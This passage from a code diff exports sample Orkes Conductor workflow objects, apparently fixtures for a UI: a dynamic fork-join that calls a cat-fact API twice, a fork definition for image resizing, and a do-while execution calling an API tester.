outputParameters: { + orderDetails: "${image_multiple_convert_resize_join_ref.output}", + reorder: "${reorder_widgets_ref.output.response.body}", + }, + failureWorkflow: "shipping_failure", + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "bob@bobswidgets.com", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, + }, + priority: 0, + variables: {}, + lastRetriedTime: 0, + workflowName: "Bobs_widget_fulfillment", + workflowVersion: 4, + startTime: 1654516799948, +}; + +export const sampleWithDynamicFork = { + createTime: 1658878164317, + createdBy: "reumontf@gmail.com", + updatedBy: "", + status: "COMPLETED", + endTime: 1658878165230, + workflowId: "c89a41a7-0d3a-11ed-8160-da9da95e170f", + parentWorkflowId: "", + parentWorkflowTaskId: "", + tasks: [ + /* { */ + /* taskType: "TASK_SUMMARY", */ + /* status: "COMPLETED", */ + /* referenceTaskName: "fork_ref", */ + /* retryCount: 0, */ + /* seq: 1, */ + /* pollCount: 0, */ + /* taskDefName: "FORK", */ + /* scheduledTime: 1658878164323, */ + /* startTime: 1658878164323, */ + /* endTime: 1658878164323, */ + /* updateTime: 1658878164328, */ + /* startDelayInSeconds: 0, */ + /* retried: false, */ + /* executed: true, */ + /* callbackFromWorker: true, */ + /* responseTimeoutSeconds: 0, */ + /* workflowInstanceId: "c89a41a7-0d3a-11ed-8160-da9da95e170f", */ + /* workflowType: "dynamic_fork", */ + /* taskId: "c89b04f8-0d3a-11ed-8160-da9da95e170f", */ + /* callbackAfterSeconds: 0, */ + /* outputData: { */ + /* summary:{ */ + /* totalTasks:2000, */ + /* taskCountByStatus:{ */ + /* IN_PROGRESS:29800, */ + /* COMPLETED:15000, */ + /* SCHEDULED:2000, */ + /* FAILED:20 */ + /* } */ + /* } */ + /* }, */ + /* workflowTask: { */ + /* name: "fork", */ + /* taskReferenceName: "fork_ref", */ + /* inputParameters: { */ + /* dynamicTasks: "${workflow.input.dynamicTasks}", */ + /* dynamicTasksInput: "${workflow.input.dynamicTasksInputs}", */ + /* }, */ + /* type: "FORK_JOIN_DYNAMIC", */ + /* decisionCases: {}, */ + /* dynamicForkTasksParam: "dynamicTasks", */ + /* dynamicForkTasksInputParamName: "dynamicTasksInput", */ + /* defaultCase: [], */ + /* forkTasks: [], */ + /* startDelay: 0, */ + /* joinOn: [], */ + /* optional: false, */ + /* defaultExclusiveJoinTask: [], */ + /* asyncComplete: false, */ + /* loopOver: [], */ + /* }, */ + /* rateLimitPerFrequency: 0, */ + /* rateLimitFrequencyInSeconds: 0, */ + /* workflowPriority: 0, */ + /* iteration: 0, */ + /* subworkflowChanged: false, */ + /* queueWaitTime: 0, */ + /* loopOverTask: false, */ + /* taskDefinition: null, */ + /* }, */ + + { + taskType: "FORK", + status: "COMPLETED", + inputData: { + forkedTaskDefs: [ + { + asyncComplete: false, + joinOn: [], + optional: false, + type: "HTTP", + inputParameters: { + asyncComplete: false, + http_request: { + method: "GET", + readTimeOut: 3000, + uri: "https://catfact.ninja/fact", + connectionTimeOut: 3000, + }, + }, + decisionCases: {}, + loopOver: [], + name: "get_random_fact", + startDelay: 0, + defaultExclusiveJoinTask: [], + taskReferenceName: "get_random_fact_0", + defaultCase: [], + forkTasks: [], + }, + { + asyncComplete: false, + joinOn: [], + optional: false, + type: "HTTP", + inputParameters: { + asyncComplete: false, + http_request: { + method: "GET", + readTimeOut: 3000, + uri: "https://catfact.ninja/fact", + connectionTimeOut: 3000, + }, + }, + decisionCases: {}, + loopOver: [], + name: "get_random_fact", + startDelay: 0, + defaultExclusiveJoinTask: [], + taskReferenceName: "get_random_fact_1", + defaultCase: [], + forkTasks: [], + }, + ], + forkedTasks: ["get_random_fact_0", "get_random_fact_1"], + }, + referenceTaskName: "fork_ref", + retryCount: 0, + seq: 1, + pollCount: 0, + taskDefName: "FORK", + scheduledTime: 1658878164323, + startTime: 1658878164323, + endTime: 1658878164323, + updateTime: 1658878164328, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "c89a41a7-0d3a-11ed-8160-da9da95e170f", + workflowType: "dynamic_fork", + taskId: "c89b04f8-0d3a-11ed-8160-da9da95e170f", + callbackAfterSeconds: 0, + outputData: {}, + workflowTask: { + name: "fork", + taskReferenceName: "fork_ref", + inputParameters: { + dynamicTasks: "${workflow.input.dynamicTasks}", + dynamicTasksInput: "${workflow.input.dynamicTasksInputs}", + }, + type: "FORK_JOIN_DYNAMIC", + decisionCases: {}, + dynamicForkTasksParam: "dynamicTasks", + dynamicForkTasksInputParamName: "dynamicTasksInput", + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: false, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + asyncComplete: false, + http_request: { + method: "GET", + readTimeOut: 3000, + uri: "https://catfact.ninja/fact", + connectionTimeOut: 3000, + }, + }, + referenceTaskName: "get_random_fact_0", + retryCount: 0, + seq: 2, + pollCount: 1, + taskDefName: "get_random_fact", + scheduledTime: 1658878164323, + startTime: 1658878164941, + endTime: 1658878165092, + updateTime: 1658878164975, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "c89a41a7-0d3a-11ed-8160-da9da95e170f", + workflowType: "dynamic_fork", + taskId: "c89b2c09-0d3a-11ed-8160-da9da95e170f", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7f568bbff9-jldbm", + outputData: { + response: { + headers: { + "Transfer-Encoding": ["chunked"], + Server: ["nginx"], + "X-Ratelimit-Remaining": ["99"], + "Access-Control-Allow-Origin": ["*"], + "X-Content-Type-Options": ["nosniff"], + Connection: ["keep-alive"], + Date: ["Tue, 26 Jul 2022 23:29:25 GMT"], + "X-Frame-Options": ["SAMEORIGIN"], + "X-Ratelimit-Limit": ["100"], + "Cache-Control": ["no-cache, private"], + Vary: ["Accept-Encoding"], + "Set-Cookie": [ + "XSRF-TOKEN=eyJpdiI6IkNoM1FlOEZubkNwRStwTGVzdG9NR1E9PSIsInZhbHVlIjoiYlU3QXBycXBYRFZlcGQ2dVFjNmUvWmxuMGVIZ1VkR3YrNjVzSGUyVUFFQTdpbnV2cmpQbmRjVGlyQ09DUmRUUFBGaWZKaTNrMnBaS0syUERZQUVnckVHUFBjYVdZN3F5NDgwU2lTdTdxVnlMVVY4ZHYvd3JxcVlUdFlkSG1zK2ciLCJtYWMiOiI5NzlmYjJmMjk4ZGZjYjc2MGE1ZjU1OWY3MGRmODIwZWQxZDg4YTIyODk4NWNhNGZiOWEwZTFlNTA5MjkzOWE0IiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; samesite=lax", + "cat_facts_session=eyJpdiI6Ikc5V0lkQk4wUDQ5eSsxTXlJWXQwRXc9PSIsInZhbHVlIjoiUHhwUDNZMU0zV2ZTQ25PN0FXYmhoUFNSYmwyTXhGN1lOYlhReCtNc2xweVF0RWRyZy80RTZVUmhLUldwOW9DVmozUEFMWnIvbS9vbDJBcHlYMEh0NmowY0lGbi94VFczejZpSEpaUFRpR1kyMnZyL0RwVG1COEk1aklneFBYdG0iLCJtYWMiOiIzNDYwYzUxZjVlY2UyZWEyM2I0ZmE2ZWY2YWM0NTZhOTA3YzFmYWFmNmYzOGUxMGU2ZWYxNDRmODUwMzk3MzZjIiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; httponly; samesite=lax", + ], + "X-XSS-Protection": ["1; mode=block"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + fact: "A cat?s heart beats nearly twice as fast as a human heart, at 110 to 140 beats a minute.", + length: 88, + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact_0", + inputParameters: {}, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 618, + loopOverTask: false, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + asyncComplete: false, + http_request: { + method: "GET", + readTimeOut: 3000, + uri: "https://catfact.ninja/fact", + connectionTimeOut: 3000, + }, + }, + referenceTaskName: "get_random_fact_1", + retryCount: 0, + seq: 3, + pollCount: 1, + taskDefName: "get_random_fact", + scheduledTime: 1658878164323, + startTime: 1658878164974, + endTime: 1658878165087, + updateTime: 1658878164974, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "c89a41a7-0d3a-11ed-8160-da9da95e170f", + workflowType: "dynamic_fork", + taskId: "c89b2c0a-0d3a-11ed-8160-da9da95e170f", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7f568bbff9-hgn6k", + outputData: { + response: { + headers: { + "Transfer-Encoding": ["chunked"], + Server: ["nginx"], + "X-Ratelimit-Remaining": ["99"], + "Access-Control-Allow-Origin": ["*"], + "X-Content-Type-Options": ["nosniff"], + Connection: ["keep-alive"], + Date: ["Tue, 26 Jul 2022 23:29:25 GMT"], + "X-Frame-Options": ["SAMEORIGIN"], + "X-Ratelimit-Limit": ["100"], + "Cache-Control": ["no-cache, private"], + Vary: ["Accept-Encoding"], + "Set-Cookie": [ + "XSRF-TOKEN=eyJpdiI6IlVxSGNSb1R4eVVqL1EvRzJuZVBGMnc9PSIsInZhbHVlIjoiMGVkNmZMOWg5aEJiZlloNEl3aTNPQTRkM1k1b0tScG1Xb2c1NzEzTTZDRDN1QWFGVDV4YzFLT21nNzZMYUZmTC9ld0Q1Zk5wbUY1NWZKcUI3cVltRDdGV3VMV0NvYjQwdkliNVI5b0Zaek8xejBnalNYMkhPUEk2ek1ja1Z1cFEiLCJtYWMiOiI4YWQ2YjYxZDZkMWY0MjI5NWI1Mjg2ODEyOWQxYmUzZjEzY2U0NzE3N2FlMzg3NDNiOWYxZDAwOTNkMzQxODNlIiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; samesite=lax", + "cat_facts_session=eyJpdiI6IlN6dEQ3MW9lL0IxWmZsb3E0MHR3ZHc9PSIsInZhbHVlIjoidVRUK3EzS0kzT05mT1d0V01HU3FsS2ZlVy9EajFzTWRmM2M2ajhSSDV2aVVzY21mYzJJdTJ3cnRPSjZPclVkSW9sUEMvaDE3V05OMmFWZEIzQ0w4MFBKVTBhWEFpNXp4a20wdVNHRlY4dDAyOTFwVEI4cTBHRHN2VmEwenNhMDAiLCJtYWMiOiJkZmEwMGQ0ZWY5ODk3YjE2ZDM2NDkwYTE2ZGJhODBiNTUzMTk4ODA2OGZmN2MzZjBlOWRiZWE4YjM3YWNlYTU2IiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; httponly; samesite=lax", + ], + "X-XSS-Protection": ["1; mode=block"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + fact: "A cat has more bones than a human being; humans have 206 and the cat has 230 bones.", + length: 83, + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact_1", + inputParameters: {}, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 651, + loopOverTask: false, + taskDefinition: null, + }, + { + taskType: "JOIN", + status: "COMPLETED", + inputData: { joinOn: ["get_random_fact_0", "get_random_fact_1"] }, + referenceTaskName: "join_ref", + retryCount: 0, + seq: 4, + pollCount: 0, + taskDefName: "JOIN", + scheduledTime: 1658878164323, + startTime: 1658878164323, + endTime: 1658878165179, + updateTime: 1658878164331, + startDelayInSeconds: 0, + retried: false, + executed: false, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "c89a41a7-0d3a-11ed-8160-da9da95e170f", + workflowType: "dynamic_fork", + taskId: "c89b2c0b-0d3a-11ed-8160-da9da95e170f", + callbackAfterSeconds: 0, + outputData: { + get_random_fact_0: { + response: { + headers: { + "Transfer-Encoding": ["chunked"], + Server: ["nginx"], + "X-Ratelimit-Remaining": ["99"], + "Access-Control-Allow-Origin": ["*"], + "X-Content-Type-Options": ["nosniff"], + Connection: ["keep-alive"], + Date: ["Tue, 26 Jul 2022 23:29:25 GMT"], + "X-Frame-Options": ["SAMEORIGIN"], + "X-Ratelimit-Limit": ["100"], + "Cache-Control": ["no-cache, private"], + Vary: ["Accept-Encoding"], + "Set-Cookie": [ + "XSRF-TOKEN=eyJpdiI6IkNoM1FlOEZubkNwRStwTGVzdG9NR1E9PSIsInZhbHVlIjoiYlU3QXBycXBYRFZlcGQ2dVFjNmUvWmxuMGVIZ1VkR3YrNjVzSGUyVUFFQTdpbnV2cmpQbmRjVGlyQ09DUmRUUFBGaWZKaTNrMnBaS0syUERZQUVnckVHUFBjYVdZN3F5NDgwU2lTdTdxVnlMVVY4ZHYvd3JxcVlUdFlkSG1zK2ciLCJtYWMiOiI5NzlmYjJmMjk4ZGZjYjc2MGE1ZjU1OWY3MGRmODIwZWQxZDg4YTIyODk4NWNhNGZiOWEwZTFlNTA5MjkzOWE0IiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; samesite=lax", + "cat_facts_session=eyJpdiI6Ikc5V0lkQk4wUDQ5eSsxTXlJWXQwRXc9PSIsInZhbHVlIjoiUHhwUDNZMU0zV2ZTQ25PN0FXYmhoUFNSYmwyTXhGN1lOYlhReCtNc2xweVF0RWRyZy80RTZVUmhLUldwOW9DVmozUEFMWnIvbS9vbDJBcHlYMEh0NmowY0lGbi94VFczejZpSEpaUFRpR1kyMnZyL0RwVG1COEk1aklneFBYdG0iLCJtYWMiOiIzNDYwYzUxZjVlY2UyZWEyM2I0ZmE2ZWY2YWM0NTZhOTA3YzFmYWFmNmYzOGUxMGU2ZWYxNDRmODUwMzk3MzZjIiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; httponly; samesite=lax", + ], + "X-XSS-Protection": ["1; mode=block"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + fact: "A cat?s heart beats nearly twice as fast as a human heart, at 110 to 140 beats a minute.", + length: 88, + }, + statusCode: 200, + }, + }, + get_random_fact_1: { + response: { + headers: { + "Transfer-Encoding": ["chunked"], + Server: ["nginx"], + "X-Ratelimit-Remaining": ["99"], + "Access-Control-Allow-Origin": ["*"], + "X-Content-Type-Options": ["nosniff"], + Connection: ["keep-alive"], + Date: ["Tue, 26 Jul 2022 23:29:25 GMT"], + "X-Frame-Options": ["SAMEORIGIN"], + "X-Ratelimit-Limit": ["100"], + "Cache-Control": ["no-cache, private"], + Vary: ["Accept-Encoding"], + "Set-Cookie": [ + "XSRF-TOKEN=eyJpdiI6IlVxSGNSb1R4eVVqL1EvRzJuZVBGMnc9PSIsInZhbHVlIjoiMGVkNmZMOWg5aEJiZlloNEl3aTNPQTRkM1k1b0tScG1Xb2c1NzEzTTZDRDN1QWFGVDV4YzFLT21nNzZMYUZmTC9ld0Q1Zk5wbUY1NWZKcUI3cVltRDdGV3VMV0NvYjQwdkliNVI5b0Zaek8xejBnalNYMkhPUEk2ek1ja1Z1cFEiLCJtYWMiOiI4YWQ2YjYxZDZkMWY0MjI5NWI1Mjg2ODEyOWQxYmUzZjEzY2U0NzE3N2FlMzg3NDNiOWYxZDAwOTNkMzQxODNlIiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; samesite=lax", + "cat_facts_session=eyJpdiI6IlN6dEQ3MW9lL0IxWmZsb3E0MHR3ZHc9PSIsInZhbHVlIjoidVRUK3EzS0kzT05mT1d0V01HU3FsS2ZlVy9EajFzTWRmM2M2ajhSSDV2aVVzY21mYzJJdTJ3cnRPSjZPclVkSW9sUEMvaDE3V05OMmFWZEIzQ0w4MFBKVTBhWEFpNXp4a20wdVNHRlY4dDAyOTFwVEI4cTBHRHN2VmEwenNhMDAiLCJtYWMiOiJkZmEwMGQ0ZWY5ODk3YjE2ZDM2NDkwYTE2ZGJhODBiNTUzMTk4ODA2OGZmN2MzZjBlOWRiZWE4YjM3YWNlYTU2IiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; httponly; samesite=lax", + ], + "X-XSS-Protection": ["1; mode=block"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + fact: "A cat has more bones than a human being; humans have 206 and the cat has 230 bones.", + length: 83, + }, + statusCode: 200, + }, + }, + }, + workflowTask: { + name: "join", + taskReferenceName: "join_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: false, + taskDefinition: null, + }, + ], + input: { + dynamicTasksInputs: { get_random_fact_0: {}, get_random_fact_1: {} }, + dynamicTasks: [ + { + name: "get_random_fact", + taskReferenceName: "get_random_fact_0", + type: "HTTP", + inputParameters: { + http_request: { + method: "GET", + readTimeOut: 3000, + uri: "https://catfact.ninja/fact", + connectionTimeOut: 3000, + }, + }, + }, + { + name: "get_random_fact", + taskReferenceName: "get_random_fact_1", + type: "HTTP", + inputParameters: { + http_request: { + method: "GET", + readTimeOut: 3000, + uri: "https://catfact.ninja/fact", + connectionTimeOut: 3000, + }, + }, + }, + ], + }, + output: { + output: { + get_random_fact_0: { + response: { + headers: { + "Transfer-Encoding": ["chunked"], + Server: ["nginx"], + "X-Ratelimit-Remaining": ["99"], + "Access-Control-Allow-Origin": ["*"], + "X-Content-Type-Options": ["nosniff"], + Connection: ["keep-alive"], + Date: ["Tue, 26 Jul 2022 23:29:25 GMT"], + "X-Frame-Options": ["SAMEORIGIN"], + "X-Ratelimit-Limit": ["100"], + "Cache-Control": ["no-cache, private"], + Vary: ["Accept-Encoding"], + "Set-Cookie": [ + "XSRF-TOKEN=eyJpdiI6IkNoM1FlOEZubkNwRStwTGVzdG9NR1E9PSIsInZhbHVlIjoiYlU3QXBycXBYRFZlcGQ2dVFjNmUvWmxuMGVIZ1VkR3YrNjVzSGUyVUFFQTdpbnV2cmpQbmRjVGlyQ09DUmRUUFBGaWZKaTNrMnBaS0syUERZQUVnckVHUFBjYVdZN3F5NDgwU2lTdTdxVnlMVVY4ZHYvd3JxcVlUdFlkSG1zK2ciLCJtYWMiOiI5NzlmYjJmMjk4ZGZjYjc2MGE1ZjU1OWY3MGRmODIwZWQxZDg4YTIyODk4NWNhNGZiOWEwZTFlNTA5MjkzOWE0IiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; samesite=lax", + "cat_facts_session=eyJpdiI6Ikc5V0lkQk4wUDQ5eSsxTXlJWXQwRXc9PSIsInZhbHVlIjoiUHhwUDNZMU0zV2ZTQ25PN0FXYmhoUFNSYmwyTXhGN1lOYlhReCtNc2xweVF0RWRyZy80RTZVUmhLUldwOW9DVmozUEFMWnIvbS9vbDJBcHlYMEh0NmowY0lGbi94VFczejZpSEpaUFRpR1kyMnZyL0RwVG1COEk1aklneFBYdG0iLCJtYWMiOiIzNDYwYzUxZjVlY2UyZWEyM2I0ZmE2ZWY2YWM0NTZhOTA3YzFmYWFmNmYzOGUxMGU2ZWYxNDRmODUwMzk3MzZjIiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; httponly; samesite=lax", + ], + "X-XSS-Protection": ["1; mode=block"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + fact: "A cat?s heart beats nearly twice as fast as a human heart, at 110 to 140 beats a minute.", + length: 88, + }, + statusCode: 200, + }, + }, + get_random_fact_1: { + response: { + headers: { + "Transfer-Encoding": ["chunked"], + Server: ["nginx"], + "X-Ratelimit-Remaining": ["99"], + "Access-Control-Allow-Origin": ["*"], + "X-Content-Type-Options": ["nosniff"], + Connection: ["keep-alive"], + Date: ["Tue, 26 Jul 2022 23:29:25 GMT"], + "X-Frame-Options": ["SAMEORIGIN"], + "X-Ratelimit-Limit": ["100"], + "Cache-Control": ["no-cache, private"], + Vary: ["Accept-Encoding"], + "Set-Cookie": [ + "XSRF-TOKEN=eyJpdiI6IlVxSGNSb1R4eVVqL1EvRzJuZVBGMnc9PSIsInZhbHVlIjoiMGVkNmZMOWg5aEJiZlloNEl3aTNPQTRkM1k1b0tScG1Xb2c1NzEzTTZDRDN1QWFGVDV4YzFLT21nNzZMYUZmTC9ld0Q1Zk5wbUY1NWZKcUI3cVltRDdGV3VMV0NvYjQwdkliNVI5b0Zaek8xejBnalNYMkhPUEk2ek1ja1Z1cFEiLCJtYWMiOiI4YWQ2YjYxZDZkMWY0MjI5NWI1Mjg2ODEyOWQxYmUzZjEzY2U0NzE3N2FlMzg3NDNiOWYxZDAwOTNkMzQxODNlIiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; samesite=lax", + "cat_facts_session=eyJpdiI6IlN6dEQ3MW9lL0IxWmZsb3E0MHR3ZHc9PSIsInZhbHVlIjoidVRUK3EzS0kzT05mT1d0V01HU3FsS2ZlVy9EajFzTWRmM2M2ajhSSDV2aVVzY21mYzJJdTJ3cnRPSjZPclVkSW9sUEMvaDE3V05OMmFWZEIzQ0w4MFBKVTBhWEFpNXp4a20wdVNHRlY4dDAyOTFwVEI4cTBHRHN2VmEwenNhMDAiLCJtYWMiOiJkZmEwMGQ0ZWY5ODk3YjE2ZDM2NDkwYTE2ZGJhODBiNTUzMTk4ODA2OGZmN2MzZjBlOWRiZWE4YjM3YWNlYTU2IiwidGFnIjoiIn0%3D; expires=Wed, 27-Jul-2022 01:29:25 GMT; path=/; httponly; samesite=lax", + ], + "X-XSS-Protection": ["1; mode=block"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + fact: "A cat has more bones than a human being; humans have 206 and the cat has 230 bones.", + length: 83, + }, + statusCode: 200, + }, + }, + }, + }, + taskToDomain: {}, + failedReferenceTaskNames: [], + workflowDefinition: { + createTime: 0, + updateTime: 0, + name: "dynamic_fork", + description: "dynamic fork join example", + version: 1, + tasks: [ + { + name: "fork", + taskReferenceName: "fork_ref", + inputParameters: { + dynamicTasks: "${workflow.input.dynamicTasks}", + dynamicTasksInput: "${workflow.input.dynamicTasksInputs}", + }, + type: "FORK_JOIN_DYNAMIC", + decisionCases: {}, + dynamicForkTasksParam: "dynamicTasks", + dynamicForkTasksInputParamName: "dynamicTasksInput", + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + { + name: "join", + taskReferenceName: "join_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + }, + ], + inputParameters: ["dynamicTasks", "dynamicTasksInputs"], + outputParameters: { output: "${join_ref.output}" }, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "reumontf@gmail.com", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + failureWorkflow: "", + variables: {}, + inputTemplate: {}, + }, + priority: 0, + variables: {}, + lastRetriedTime: 0, + startTime: 1658878164317, + workflowVersion: 1, + workflowName: "dynamic_fork", +}; + +export const newDynamicForkSample = { + createTime: 1686804244860, + updateTime: 1686803821513, + name: "najeeb_15_june_fork", + description: + "Edit or extend this sample workflow. Set the workflow name to get started", + version: 1, + tasks: [ + { + name: "dynamic", + taskReferenceName: "dynamic_ref", + inputParameters: { + dynamicTasks: [ + { + name: "image_convert_resize", + taskReferenceName: "image_convert_resize_png_300x300_0", + }, + { + name: "image_convert_resize", + taskReferenceName: "image_convert_resize_png_200x200_1", + }, + { + name: "check", + taskReferenceName: "fallsas", + }, + ], + dynamicTasksInput: { + image_convert_resize_png_300x300_0: { + outputWidth: 300, + outputHeight: 300, + }, + image_convert_resize_png_200x200_1: { + outputWidth: 200, + outputHeight: 200, + }, + }, + }, + type: "FORK_JOIN_DYNAMIC", + decisionCases: {}, + dynamicForkTasksParam: "dynamicTasks", + dynamicForkTasksInputParamName: "dynamicTasksInput", + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "join_task", + taskReferenceName: "join_task_ref", + inputParameters: {}, + type: "JOIN", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + inputParameters: [], + outputParameters: { + data: "${get_random_fact.output.response.body.fact}", + }, + failureWorkflow: "", + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "najeeb.thangal@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + variables: {}, + inputTemplate: {}, + onStateChange: {}, +}; + +export const sampleExecutionDoWhile = { + ownerApp: "nhandt+006@orkes.io", + createTime: 1711431102670, + updateTime: 1711431104863, + createdBy: "najeeb.thangal@orkes.io", + updatedBy: "", + status: "COMPLETED", + endTime: 1711431104861, + workflowId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + parentWorkflowId: "", + parentWorkflowTaskId: "", + tasks: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_first", + retryCount: 0, + seq: 1, + pollCount: 1, + taskDefName: "http_first", + scheduledTime: 1711431102672, + startTime: 1711431102750, + endTime: 1711431102811, + updateTime: 1711431102750, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "20d3ff55-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d46b7c7b5-m5hcf", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Tue, 26 Mar 2024 05:31:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 339, + hostName: "orkes-api-sampler-67dfc8cf58-jk6kd", + randomString: "mxxsreljbjqgqwojkqxd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_first", + taskReferenceName: "http_ref_first", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + loopOverTask: false, + taskDefinition: null, + queueWaitTime: 78, + }, + { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "do_while", + scheduledTime: 1711431102815, + startTime: 1711431102815, + endTime: 1711431104753, + updateTime: 1711431104550, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "20d3b134-eb32-11ee-8b0a-0e6876359850", + workflowType: "doWhileExample-test", + taskId: "20e9aa36-eb32-11ee-8b0a-0e6876359850", + callbackAfterSeconds: 0, + outputData: { + 1: { + http_ref_cool: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Tue, 26 Mar 2024 05:31:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4701, + hostName: "orkes-api-sampler-67dfc8cf58-ktrql", + randomString: "zflljulcusapgwfaiytx", + queryParams: {}, + sleepFor: "0 ms", + 